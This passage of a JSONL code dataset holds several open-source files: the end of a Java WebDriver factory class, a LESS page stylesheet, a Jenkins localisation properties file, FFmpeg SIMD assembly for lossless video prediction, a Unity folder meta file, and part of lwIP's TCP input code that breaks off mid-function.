clazz);\n        if (config.driverManagerEnabled()) {\n          factory.setupWebdriverBinary();\n        }\n        return factory.create(config, browser, proxy, browserDownloadsFolder);\n      }\n      else {\n        Constructor constructor = Class.forName(className).getConstructor(Capabilities.class);\n        return (WebDriver) constructor.newInstance(capabilities);\n      }\n    } catch (InvocationTargetException e) {\n      throw runtime(e.getTargetException());\n    } catch (Exception invalidClassName) {\n      throw new IllegalArgumentException(invalidClassName);\n    }\n  }\n\n  @Override\n  @CheckReturnValue\n  @Nonnull\n  public MutableCapabilities createCapabilities(Config config, Browser browser, @Nullable Proxy proxy, File browserDownloadsFolder) {\n    return createCommonCapabilities(config, browser, proxy);\n  }\n\n  @SuppressWarnings({\"unchecked\", \"unused\"})\n  private  T createInstanceOf(Class resultClass, Class clazz) throws Exception {\n    Constructor constructor = clazz.getDeclaredConstructor();\n    constructor.setAccessible(true);\n    return (T) constructor.newInstance();\n  }\n\n  private RuntimeException runtime(Throwable exception) {\n    return exception instanceof RuntimeException ? (RuntimeException) exception : new RuntimeException(exception);\n  }\n}\n"}
+{"text": "//some page-content variables\n@content-bg: #FFF;\n@content-header-border: #E2E2E2;\n@content-header-color: #2679B5;\n@content-header-small-color: #8089A0;\n\n\nhtml {\n  min-height: 100%;\n  position: relative;\n}\n\nbody {\n  background-color: @body-background;\n  min-height: 100%;\n  padding-bottom: 0;\n\n  font-family: 'Open Sans';\n  font-size: @base-font-size;\n  color: @text-color;\n  \n  line-height: 1.5;\n}\n\n\n.main-container {\n\t//this is the white page background, used especially when inside \".container\"\n\t//it will expand all the way down to fill all the page space\n\t&:before {\n\t\tdisplay: block;\n\t\tcontent: \"\";\n\t\tposition: absolute;\n\t\tz-index: -2;\n\t\t\n\t\twidth: 100%;\n\t\tmax-width: inherit;\n\t\tbottom: 0;\n\t\ttop: 0;\n\t\t\n\t\tbackground-color: #FFF;\n\t}\n\n\t&.container {\n\t\t&, .rtl & {padding-left: 0; padding-right: 0;}\n\t\t\n\t\t&:before {\n\t\t\t.box-shadow(~\"0 0 0 1px rgba(0,0,0,0.1)\");\n\t\t\twidth: inherit;\n\n\t\t\t//we use above+this instead of min-width, for better results when we disable responsiveness\n\t\t\t@media (max-width: @screen-xs-max) {\n\t\t\t\t.box-shadow(~\"none\");\n\t\t\t\twidth: 100%;\n\t\t\t}\n\t\t}\n\t}\n}\n\n.main-content {\n\t.clearfix;\n\n\tmargin-left: 0;\n\tmin-height: 100%;\n\tpadding: 0;\n\t\n\t.sidebar + & {\n\t\tmargin-left: @sidebar-width;\n\t}\n}\n\n.page-content {\n\tbackground-color: @content-bg;\n\tposition: relative;\n\tmargin: 0;\n\tpadding: @page-content-padding-top 20px 24px;\n}\n\n.page-header {\n\tmargin:0 0 12px;\n\tborder-bottom:1px dotted @content-header-border;\n\t\n\tpadding-bottom: 16px;\n    padding-top: 7px;\n\n\th1 {\n\t  padding: 0;\n\t  margin: 0 8px;\n\t  font-size: @font-size-content-header;\n\t  font-weight: lighter;\n\t  color: @content-header-color;\n\n\t  small {\n\t\tmargin: 0 6px;\n\t\tfont-size: @font-size-content-header-small;\n\t\tfont-weight: normal;\n\t\tcolor: @content-header-small-color;\n\t  }//small\n\t}//h1\n}\n\n\n.ajax-loading-overlay {\n\tposition: absolute;\n\tz-index: 1999;\n\tleft: 0;\n\tright: 0;\n\ttop: 0;\n\tbottom: 0;\n\t\n\tbackground-color: rgba(255, 255, 255, 0.5);\n\tfilter: ~\"progid:DXImageTransform.Microsoft.gradient( startColorstr='#80FFFFFF', endColorstr='#80FFFFFF',GradientType=0 )\";\n\t\n\t\n\t> .ajax-loading-icon {\n\t\tposition: relative;\n\t\tleft: 8px;\n\t\ttop: 8px;\n\t}\n\t\n\t&.content-loaded {\n\t\tbackground-color: rgba(255, 255, 255, 0.4);\n\t\tfilter: ~\"progid:DXImageTransform.Microsoft.gradient( startColorstr='#66FFFFFF', endColorstr='#66FFFFFF',GradientType=0 )\";\n\t}\n\t&.almost-loaded {//just waiting for scripts\n\t\tbackground-color: rgba(255, 255, 255, 0.3);\n\t\tfilter: ~\"progid:DXImageTransform.Microsoft.gradient( startColorstr='#4CFFFFFF', endColorstr='#4CFFFFFF',GradientType=0 )\";\n\t}\n\t\n\t&.ajax-overlay-body {\n\t\tposition: fixed;\n\t\tz-index: 2999;\n\t\t\n\t\t> .ajax-loading-icon {\n\t\t\tleft: 8px;\n\t\t\ttop: 8px;\n\t\t}\n\t}\n}\n\n"}
+{"text": "# The MIT License\n#\n# Copyright (c) 2004-2010, Sun Microsystems, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nView\\ name=\\u041D\\u0430\\u0437\\u0432\\u0430\\u043D\\u0438\\u0435 \\u0432\\u0438\\u0434\\u0430\n"}
+{"text": ";******************************************************************************\n;* SIMD lossless video DSP utils\n;* Copyright (c) 2008 Loren Merritt\n;* Copyright (c) 2014 Michael Niedermayer\n;*\n;* This file is part of FFmpeg.\n;*\n;* FFmpeg is free software; you can redistribute it and/or\n;* modify it under the terms of the GNU Lesser General Public\n;* License as published by the Free Software Foundation; either\n;* version 2.1 of the License, or (at your option) any later version.\n;*\n;* FFmpeg is distributed in the hope that it will be useful,\n;* but WITHOUT ANY WARRANTY; without even the implied warranty of\n;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n;* Lesser General Public License for more details.\n;*\n;* You should have received a copy of the GNU Lesser General Public\n;* License along with FFmpeg; if not, write to the Free Software\n;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n;******************************************************************************\n\n%include \"libavutil/x86/x86util.asm\"\n\nSECTION_RODATA\n\npb_ef: times 8 db 14,15\npb_67: times 8 db  6, 7\npb_zzzz2323zzzzabab: db -1,-1,-1,-1, 2, 3, 2, 3,-1,-1,-1,-1,10,11,10,11\npb_zzzzzzzz67676767: db -1,-1,-1,-1,-1,-1,-1,-1, 6, 7, 6, 7, 6, 7, 6, 7\n\nSECTION .text\n\n%macro INT16_LOOP 2 ; %1 = a/u (aligned/unaligned), %2 = add/sub\n    movd    m4, maskd\n    SPLATW  m4, m4\n    add     wd, wd\n    test    wq, 2*mmsize - 1\n    jz %%.tomainloop\n    push  tmpq\n%%.wordloop:\n    sub     wq, 2\n%ifidn %2, add\n    mov   tmpw, [srcq+wq]\n    add   tmpw, [dstq+wq]\n%else\n    mov   tmpw, [src1q+wq]\n    sub   tmpw, [src2q+wq]\n%endif\n    and   tmpw, maskw\n    mov     [dstq+wq], tmpw\n    test    wq, 2*mmsize - 1\n    jnz %%.wordloop\n    pop   tmpq\n%%.tomainloop:\n%ifidn %2, add\n    add     srcq, wq\n%else\n    add     src1q, wq\n    add     src2q, wq\n%endif\n    add     dstq, wq\n    neg     wq\n    jz      %%.end\n%%.loop:\n%ifidn %2, add\n    mov%1   m0, [srcq+wq]\n    mov%1   m1, [dstq+wq]\n    mov%1   m2, [srcq+wq+mmsize]\n    mov%1   m3, [dstq+wq+mmsize]\n%else\n    mov%1   m0, [src1q+wq]\n    mov%1   m1, [src2q+wq]\n    mov%1   m2, [src1q+wq+mmsize]\n    mov%1   m3, [src2q+wq+mmsize]\n%endif\n    p%2w    m0, m1\n    p%2w    m2, m3\n    pand    m0, m4\n    pand    m2, m4\n    mov%1   [dstq+wq]       , m0\n    mov%1   [dstq+wq+mmsize], m2\n    add     wq, 2*mmsize\n    jl %%.loop\n%%.end:\n    RET\n%endmacro\n\nINIT_MMX mmx\ncglobal add_int16, 4,4,5, dst, src, mask, w, tmp\n    INT16_LOOP a, add\n\nINIT_XMM sse2\ncglobal add_int16, 4,4,5, dst, src, mask, w, tmp\n    test srcq, mmsize-1\n    jnz .unaligned\n    test dstq, mmsize-1\n    jnz .unaligned\n    INT16_LOOP a, add\n.unaligned:\n    INT16_LOOP u, add\n\nINIT_MMX mmx\ncglobal diff_int16, 5,5,5, dst, src1, src2, mask, w, tmp\n    INT16_LOOP a, sub\n\nINIT_XMM sse2\ncglobal diff_int16, 5,5,5, dst, src1, src2, mask, w, tmp\n    test src1q, mmsize-1\n    jnz .unaligned\n    test src2q, mmsize-1\n    jnz .unaligned\n    test dstq, mmsize-1\n    jnz .unaligned\n    INT16_LOOP a, sub\n.unaligned:\n    INT16_LOOP u, sub\n\n\n%macro ADD_HFYU_LEFT_LOOP_INT16 2 ; %1 = dst alignment (a/u), %2 = src alignment (a/u)\n    add     wd, wd\n    add     srcq, wq\n    add     dstq, wq\n    neg     wq\n%%.loop:\n    mov%2   m1, [srcq+wq]\n    mova    m2, m1\n    pslld   m1, 16\n    paddw   m1, m2\n    mova    m2, m1\n\n    pshufb  m1, m3\n    paddw   m1, m2\n    pshufb  m0, m5\n%if mmsize == 16\n    mova    m2, m1\n    pshufb  m1, m4\n    paddw   m1, m2\n%endif\n    paddw   m0, m1\n    pand    m0, m7\n%ifidn %1, a\n    mova    [dstq+wq], m0\n%else\n    movq    [dstq+wq], m0\n    movhps  [dstq+wq+8], m0\n%endif\n    add     wq, mmsize\n    jl %%.loop\n    mov     eax, mmsize-1\n    sub     eax, wd\n    mov     wd, eax\n    shl     wd, 8\n    lea     eax, [wd+eax-1]\n    movd    m1, eax\n    pshufb  m0, m1\n    movd    eax, m0\n    RET\n%endmacro\n\n; int add_hfyu_left_pred_int16(uint16_t *dst, const uint16_t *src, unsigned mask, int w, int left)\nINIT_MMX ssse3\ncglobal add_hfyu_left_pred_int16, 4,4,8, dst, src, mask, w, left\n.skip_prologue:\n    mova    m5, [pb_67]\n    mova    m3, [pb_zzzz2323zzzzabab]\n    movd    m0, leftm\n    psllq   m0, 48\n    movd    m7, maskm\n    SPLATW  m7 ,m7\n    ADD_HFYU_LEFT_LOOP_INT16 a, a\n\nINIT_XMM sse4\ncglobal add_hfyu_left_pred_int16, 4,4,8, dst, src, mask, w, left\n    mova    m5, [pb_ef]\n    mova    m4, [pb_zzzzzzzz67676767]\n    mova    m3, [pb_zzzz2323zzzzabab]\n    movd    m0, leftm\n    pslldq  m0, 14\n    movd    m7, maskm\n    SPLATW  m7 ,m7\n    test    srcq, 15\n    jnz .src_unaligned\n    test    dstq, 15\n    jnz .dst_unaligned\n    ADD_HFYU_LEFT_LOOP_INT16 a, a\n.dst_unaligned:\n    ADD_HFYU_LEFT_LOOP_INT16 u, a\n.src_unaligned:\n    ADD_HFYU_LEFT_LOOP_INT16 u, u\n\n; void add_hfyu_median_prediction_mmxext(uint8_t *dst, const uint8_t *top, const uint8_t *diff, int mask, int w, int *left, int *left_top)\nINIT_MMX mmxext\ncglobal add_hfyu_median_pred_int16, 7,7,0, dst, top, diff, mask, w, left, left_top\n    add      wd, wd\n    movd    mm6, maskd\n    SPLATW  mm6, mm6\n    movq    mm0, [topq]\n    movq    mm2, mm0\n    movd    mm4, [left_topq]\n    psllq   mm2, 16\n    movq    mm1, mm0\n    por     mm4, mm2\n    movd    mm3, [leftq]\n    psubw   mm0, mm4 ; t-tl\n    add    dstq, wq\n    add    topq, wq\n    add   diffq, wq\n    neg      wq\n    jmp .skip\n.loop:\n    movq    mm4, [topq+wq]\n    movq    mm0, mm4\n    psllq   mm4, 16\n    por     mm4, mm1\n    movq    mm1, mm0 ; t\n    psubw   mm0, mm4 ; t-tl\n.skip:\n    movq    mm2, [diffq+wq]\n%assign i 0\n%rep 4\n    movq    mm4, mm0\n    paddw   mm4, mm3 ; t-tl+l\n    pand    mm4, mm6\n    movq    mm5, mm3\n    pmaxsw  mm3, mm1\n    pminsw  mm5, mm1\n    pminsw  mm3, mm4\n    pmaxsw  mm3, mm5 ; median\n    paddw   mm3, mm2 ; +residual\n    pand    mm3, mm6\n%if i==0\n    movq    mm7, mm3\n    psllq   mm7, 48\n%else\n    movq    mm4, mm3\n    psrlq   mm7, 16\n    psllq   mm4, 48\n    por     mm7, mm4\n%endif\n%if i<3\n    psrlq   mm0, 16\n    psrlq   mm1, 16\n    psrlq   mm2, 16\n%endif\n%assign i i+1\n%endrep\n    movq [dstq+wq], mm7\n    add      wq, 8\n    jl .loop\n    movzx   r2d, word [dstq-2]\n    mov [leftq], r2d\n    movzx   r2d, word [topq-2]\n    mov [left_topq], r2d\n    RET\n\ncglobal sub_hfyu_median_pred_int16, 7,7,0, dst, src1, src2, mask, w, left, left_top\n    add      wd, wd\n    movd    mm7, maskd\n    SPLATW  mm7, mm7\n    movq    mm0, [src1q]\n    movq    mm2, [src2q]\n    psllq   mm0, 16\n    psllq   mm2, 16\n    movd    mm6, [left_topq]\n    por     mm0, mm6\n    movd    mm6, [leftq]\n    por     mm2, mm6\n    xor     maskq, maskq\n.loop:\n    movq    mm1, [src1q + maskq]\n    movq    mm3, [src2q + maskq]\n    movq    mm4, mm2\n    psubw   mm2, mm0\n    paddw   mm2, mm1\n    pand    mm2, mm7\n    movq    mm5, mm4\n    pmaxsw  mm4, mm1\n    pminsw  mm1, mm5\n    pminsw  mm4, mm2\n    pmaxsw  mm4, mm1\n    psubw   mm3, mm4\n    pand    mm3, mm7\n    movq    [dstq + maskq], mm3\n    add     maskq, 8\n    movq    mm0, [src1q + maskq - 2]\n    movq    mm2, [src2q + maskq - 2]\n    cmp     maskq, wq\n        jb .loop\n    movzx maskd, word [src1q + wq - 2]\n    mov [left_topq], maskd\n    movzx maskd, word [src2q + wq - 2]\n    mov [leftq], maskd\n    RET\n"}
+{"text": "fileFormatVersion: 2\nguid: a0c003387d790fb468b2ff9dad8c752d\nfolderAsset: yes\nDefaultImporter:\n  externalObjects: {}\n  userData: \n  assetBundleName: \n  assetBundleVariant: \n"}
+{"text": "/**\n * @file\n * Transmission Control Protocol, incoming traffic\n *\n * The input processing functions of the TCP layer.\n *\n * These functions are generally called in the order (ip_input() ->)\n * tcp_input() -> * tcp_process() -> tcp_receive() (-> application).\n * \n */\n\n/*\n * Copyright (c) 2001-2004 Swedish Institute of Computer Science.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n * SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n * OF SUCH DAMAGE.\n *\n * This file is part of the lwIP TCP/IP stack.\n *\n * Author: Adam Dunkels \n *\n */\n\n#include \"net/lwip/opt.h\"\n\n#if LWIP_TCP /* don't build if not configured for use in lwipopts.h */\n\n#include \"net/lwip/tcp.h\"\n#include \"net/lwip/def.h\"\n#include \"net/lwip/ip_addr.h\"\n#include \"net/lwip/netif.h\"\n#include \"net/lwip/mem.h\"\n#include \"net/lwip/memp.h\"\n#include \"net/lwip/inet.h\"\n#include \"net/lwip/inet_chksum.h\"\n#include \"net/lwip/stats.h\"\n#include \"net/lwip/snmp.h\"\n#include \"net/arch/perf.h\"\n\n/* These variables are global to all functions involved in the input\n   processing of TCP segments. They are set by the tcp_input()\n   function. */\nstatic struct tcp_seg inseg;\nstatic struct tcp_hdr *tcphdr;\nstatic struct ip_hdr *iphdr;\nstatic u32_t seqno, ackno;\nstatic u8_t flags;\nstatic u16_t tcplen;\n\nstatic u8_t recv_flags;\nstatic struct pbuf *recv_data;\n\nstruct tcp_pcb *tcp_input_pcb;\n\n/* Forward declarations. */\nstatic err_t tcp_process(struct tcp_pcb *pcb);\nstatic u8_t tcp_receive(struct tcp_pcb *pcb);\nstatic void tcp_parseopt(struct tcp_pcb *pcb);\n\nstatic err_t tcp_listen_input(struct tcp_pcb_listen *pcb);\nstatic err_t tcp_timewait_input(struct tcp_pcb *pcb);\n\n/**\n * The initial input processing of TCP. It verifies the TCP header, demultiplexes\n * the segment between the PCBs and passes it on to tcp_process(), which implements\n * the TCP finite state machine. This function is called by the IP layer (in\n * ip_input()).\n *\n * @param p received TCP segment to process (p->payload pointing to the IP header)\n * @param inp network interface on which this segment was received\n */\nvoid\ntcp_input(struct pbuf *p, struct netif *inp)\n{\n  struct tcp_pcb *pcb, *prev;\n  struct tcp_pcb_listen *lpcb;\n  u8_t hdrlen;\n  err_t err;\n\n  PERF_START;\n\n  TCP_STATS_INC(tcp.recv);\n  snmp_inc_tcpinsegs();\n\n  iphdr = p->payload;\n  tcphdr = (struct tcp_hdr *)((u8_t *)p->payload + IPH_HL(iphdr) * 4);\n\n#if TCP_INPUT_DEBUG\n  tcp_debug_print(tcphdr);\n#endif\n\n  /* remove header from payload */\n  if (pbuf_header(p, -((s16_t)(IPH_HL(iphdr) * 4))) || (p->tot_len < sizeof(struct tcp_hdr))) {\n    /* drop short packets */\n    LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: short packet (%\"U16_F\" bytes) discarded\\n\", p->tot_len));\n    TCP_STATS_INC(tcp.lenerr);\n    TCP_STATS_INC(tcp.drop);\n    snmp_inc_tcpinerrs();\n    pbuf_free(p);\n    return;\n  }\n\n  /* Don't even process incoming broadcasts/multicasts. */\n  if (ip_addr_isbroadcast(&(iphdr->dest), inp) ||\n      ip_addr_ismulticast(&(iphdr->dest))) {\n    TCP_STATS_INC(tcp.proterr);\n    TCP_STATS_INC(tcp.drop);\n    snmp_inc_tcpinerrs();\n    pbuf_free(p);\n    return;\n  }\n\n#if CHECKSUM_CHECK_TCP\n  /* Verify TCP checksum. */\n  if (inet_chksum_pseudo(p, (struct ip_addr *)&(iphdr->src),\n      (struct ip_addr *)&(iphdr->dest),\n      IP_PROTO_TCP, p->tot_len) != 0) {\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: packet discarded due to failing checksum 0x%04\"X16_F\"\\n\",\n        inet_chksum_pseudo(p, (struct ip_addr *)&(iphdr->src), (struct ip_addr *)&(iphdr->dest),\n      IP_PROTO_TCP, p->tot_len)));\n#if TCP_DEBUG\n    tcp_debug_print(tcphdr);\n#endif /* TCP_DEBUG */\n    TCP_STATS_INC(tcp.chkerr);\n    TCP_STATS_INC(tcp.drop);\n    snmp_inc_tcpinerrs();\n    pbuf_free(p);\n    return;\n  }\n#endif\n\n  /* Move the payload pointer in the pbuf so that it points to the\n     TCP data instead of the TCP header. */\n  hdrlen = TCPH_HDRLEN(tcphdr);\n  if(pbuf_header(p, -(hdrlen * 4))){\n    /* drop short packets */\n    LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: short packet\\n\"));\n    TCP_STATS_INC(tcp.lenerr);\n    TCP_STATS_INC(tcp.drop);\n    snmp_inc_tcpinerrs();\n    pbuf_free(p);\n    return;\n  }\n\n  /* Convert fields in TCP header to host byte order. */\n  tcphdr->src = ntohs(tcphdr->src);\n  tcphdr->dest = ntohs(tcphdr->dest);\n  seqno = tcphdr->seqno = ntohl(tcphdr->seqno);\n  ackno = tcphdr->ackno = ntohl(tcphdr->ackno);\n  tcphdr->wnd = ntohs(tcphdr->wnd);\n\n  flags = TCPH_FLAGS(tcphdr) & TCP_FLAGS;\n  tcplen = p->tot_len + ((flags & TCP_FIN || flags & TCP_SYN)? 1: 0);\n\n  /* Demultiplex an incoming segment. First, we check if it is destined\n     for an active connection. */\n  prev = NULL;\n\n  \n  for(pcb = tcp_active_pcbs; pcb != NULL; pcb = pcb->next) {\n    LWIP_ASSERT(\"tcp_input: active pcb->state != CLOSED\", pcb->state != CLOSED);\n    LWIP_ASSERT(\"tcp_input: active pcb->state != TIME-WAIT\", pcb->state != TIME_WAIT);\n    LWIP_ASSERT(\"tcp_input: active pcb->state != LISTEN\", pcb->state != LISTEN);\n    if (pcb->remote_port == tcphdr->src &&\n       pcb->local_port == tcphdr->dest &&\n       ip_addr_cmp(&(pcb->remote_ip), &(iphdr->src)) &&\n       ip_addr_cmp(&(pcb->local_ip), &(iphdr->dest))) {\n\n      /* Move this PCB to the front of the list so that subsequent\n         lookups will be faster (we exploit locality in TCP segment\n         arrivals). */\n      LWIP_ASSERT(\"tcp_input: pcb->next != pcb (before cache)\", pcb->next != pcb);\n      if (prev != NULL) {\n        prev->next = pcb->next;\n        pcb->next = tcp_active_pcbs;\n        tcp_active_pcbs = pcb;\n      }\n      LWIP_ASSERT(\"tcp_input: pcb->next != pcb (after cache)\", pcb->next != pcb);\n      break;\n    }\n    prev = pcb;\n  }\n\n  if (pcb == NULL) {\n    /* If it did not go to an active connection, we check the connections\n       in the TIME-WAIT state. */\n    for(pcb = tcp_tw_pcbs; pcb != NULL; pcb = pcb->next) {\n      LWIP_ASSERT(\"tcp_input: TIME-WAIT pcb->state == TIME-WAIT\", pcb->state == TIME_WAIT);\n      if (pcb->remote_port == tcphdr->src &&\n         pcb->local_port == tcphdr->dest &&\n         ip_addr_cmp(&(pcb->remote_ip), &(iphdr->src)) &&\n         ip_addr_cmp(&(pcb->local_ip), &(iphdr->dest))) {\n        /* We don't really care enough to move this PCB to the front\n           of the list since we are not very likely to receive that\n           many segments for connections in TIME-WAIT. */\n        LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: packed for TIME_WAITing connection.\\n\"));\n        tcp_timewait_input(pcb);\n        pbuf_free(p);\n        return;\n      }\n    }\n\n  /* Finally, if we still did not get a match, we check all PCBs that\n     are LISTENing for incoming connections. */\n    prev = NULL;\n    for(lpcb = tcp_listen_pcbs.listen_pcbs; lpcb != NULL; lpcb = lpcb->next) {\n      if ((ip_addr_isany(&(lpcb->local_ip)) ||\n        ip_addr_cmp(&(lpcb->local_ip), &(iphdr->dest))) &&\n        lpcb->local_port == tcphdr->dest) {\n        /* Move this PCB to the front of the list so that subsequent\n           lookups will be faster (we exploit locality in TCP segment\n           arrivals). */\n        if (prev != NULL) {\n          ((struct tcp_pcb_listen *)prev)->next = lpcb->next;\n                /* our successor is the remainder of the listening list */\n          lpcb->next = tcp_listen_pcbs.listen_pcbs;\n                /* put this listening pcb at the head of the listening list */\n          tcp_listen_pcbs.listen_pcbs = lpcb;\n        }\n      \n        LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: packed for LISTENing connection.\\n\"));\n        tcp_listen_input(lpcb);\n        pbuf_free(p);\n        return;\n      }\n      prev = (struct tcp_pcb *)lpcb;\n    }\n  }\n\n#if TCP_INPUT_DEBUG\n  LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"+-+-+-+-+-+-+-+-+-+-+-+-+-+- tcp_input: flags \"));\n  tcp_debug_print_flags(TCPH_FLAGS(tcphdr));\n  LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"-+-+-+-+-+-+-+-+-+-+-+-+-+-+\\n\"));\n#endif /* TCP_INPUT_DEBUG */\n\n\n  if (pcb != NULL) {\n    /* The incoming segment belongs to a connection. */\n#if TCP_INPUT_DEBUG\n#if TCP_DEBUG\n    tcp_debug_print_state(pcb->state);\n#endif /* TCP_DEBUG */\n#endif /* TCP_INPUT_DEBUG */\n\n    /* Set up a tcp_seg structure. */\n    inseg.next = NULL;\n    inseg.len = p->tot_len;\n    inseg.dataptr = p->payload;\n    inseg.p = p;\n    inseg.tcphdr = tcphdr;\n\n    recv_data = NULL;\n    recv_flags = 0;\n\n    /* If there is data which was previously \"refused\" by upper layer */\n    if (pcb->refused_data != NULL) {\n      /* Notify again application with data previously received. */\n      LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: notify kept packet\\n\"));\n      TCP_EVENT_RECV(pcb, pcb->refused_data, ERR_OK, err);\n      if (err == ERR_OK) {\n        pcb->refused_data = NULL;\n      } else {\n        /* drop incoming packets, because pcb is \"full\" */\n        LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: drop incoming packets, because pcb is \\\"full\\\"\\n\"));\n        TCP_STATS_INC(tcp.drop);\n        snmp_inc_tcpinerrs();\n        pbuf_free(p);\n        return;\n      }\n    }\n\n    tcp_input_pcb = pcb;\n    err = tcp_process(pcb);\n    tcp_input_pcb = NULL;\n    /* A return value of ERR_ABRT means that tcp_abort() was called\n       and that the pcb has been freed. If so, we don't do anything. */\n    if (err != ERR_ABRT) {\n      if (recv_flags & TF_RESET) {\n        /* TF_RESET means that the connection was reset by the other\n           end. We then call the error callback to inform the\n           application that the connection is dead before we\n           deallocate the PCB. */\n        TCP_EVENT_ERR(pcb->errf, pcb->callback_arg, ERR_RST);\n        tcp_pcb_remove(&tcp_active_pcbs, pcb);\n        memp_free(MEMP_TCP_PCB, pcb);\n      } else if (recv_flags & TF_CLOSED) {\n        /* The connection has been closed and we will deallocate the\n           PCB. */\n        tcp_pcb_remove(&tcp_active_pcbs, pcb);\n        memp_free(MEMP_TCP_PCB, pcb);\n      } else {\n        err = ERR_OK;\n        /* If the application has registered a \"sent\" function to be\n           called when new send buffer space is available, we call it\n           now. */\n        if (pcb->acked > 0) {\n          TCP_EVENT_SENT(pcb, pcb->acked, err);\n        }\n      \n        if (recv_data != NULL) {\n          if(flags & TCP_PSH) {\n            recv_data->flags |= PBUF_FLAG_PUSH;\n          }\n\n          /* Notify application that data has been received. */\n          TCP_EVENT_RECV(pcb, recv_data, ERR_OK, err);\n\n          /* If the upper layer can't receive this data, store it */\n          if (err != ERR_OK) {\n            pcb->refused_data = recv_data;\n            LWIP_DEBUGF(TCP_INPUT_DEBUG, (\"tcp_input: keep incoming packet, because pcb is \\\"full\\\"\\n\"));\n          }\n        }\n\n        /* If a FIN segment was received, we call the callback\n           function with a NULL buffer to indicate EOF. */\n        if (recv_flags & TF_GOT_FIN) {\n          TCP_EVENT_RECV(pcb, NULL, ERR_OK, err);\n        }\n\n        /* If there were no errors, we try to send something out. */\n        if (err == ERR_OK) {\n          tcp_output(pcb);\n        }\n      }\n    }\n\n\n    /* give up our reference to inseg.p */\n    if (inseg.p != NULL)\n    {\n      pbuf_free(inseg.p);\n      inseg.p = NULL;\n    }\n#if TCP_INPUT_DEBUG\n#if TCP_DEBUG\n    tcp_debug_print_state(pcb->state);\n#endif /* TCP_DEBUG */\n#endif /* TCP_INPUT_DEBUG */\n      \n  } else {\n\n    /* If no matching PCB was found, send a TCP RST (reset) to the\n       sender. */\n    LWIP_DEBUGF(TCP_RST_DEBUG, (\"tcp_input: no PCB match found, resetting.\\n\"));\n    if (!(TCPH_FLAGS(tcphdr) & TCP_RST)) {\n      TCP_STATS_INC(tcp.proterr);\n      TCP_STATS_INC(tcp.drop);\n      tcp_rst(ackno, seqno + tcplen,\n        &(iphdr->dest), &(iphdr->src),\n        tcphdr->dest, tcphdr->src);\n    }\n    pbuf_free(p);\n  }\n\n  LWIP_ASSERT(\"tcp_input: tcp_pcbs_sane()\", tcp_pcbs_sane());\n  PERF_STOP(\"tcp_input\");\n}\n\n/**\n * Called by tcp_input() when a segment arrives for a listening\n * connection (from tcp_input()).\n *\n * @param pcb the tcp_pcb_listen for which a segment arrived\n * @return ERR_OK if the segment was processed\n *         another err_t on error\n *\n * @note the return value is not (yet?) used in tcp_input()\n * @note the segment which arrived is saved in global variables, therefore only the pcb\n *       involved is passed as a parameter to this function\n */\nstatic err_t\ntcp_listen_input(struct tcp_pcb_listen *pcb)\n{\n  struct tcp_pcb *npcb;\n  u32_t optdata;\n\n  /* In the LISTEN state, we check for incoming SYN segments,\n     creates a new PCB, and responds with a SYN|ACK. */\n  if (flags & TCP_ACK) {\n    /* For incoming segments with the ACK flag set, respond with a\n       RST. */\n    LWIP_DEBUGF(TCP_RST_DEBUG, (\"tcp_listen_input: ACK in LISTEN, sending reset\\n\"));\n    tcp_rst(ackno + 1, seqno + tcplen,\n      &(iphdr->dest), &(iphdr->src),\n      tcphdr->dest, tcphdr->src);\n  } else if (flags & TCP_SYN) {\n    LWIP_DEBUGF(TCP_DEBUG, (\"TCP connection request %\"U16_F\" -> %\"U16_F\".\\n\", tcphdr->src, tcphdr->dest));\n#if 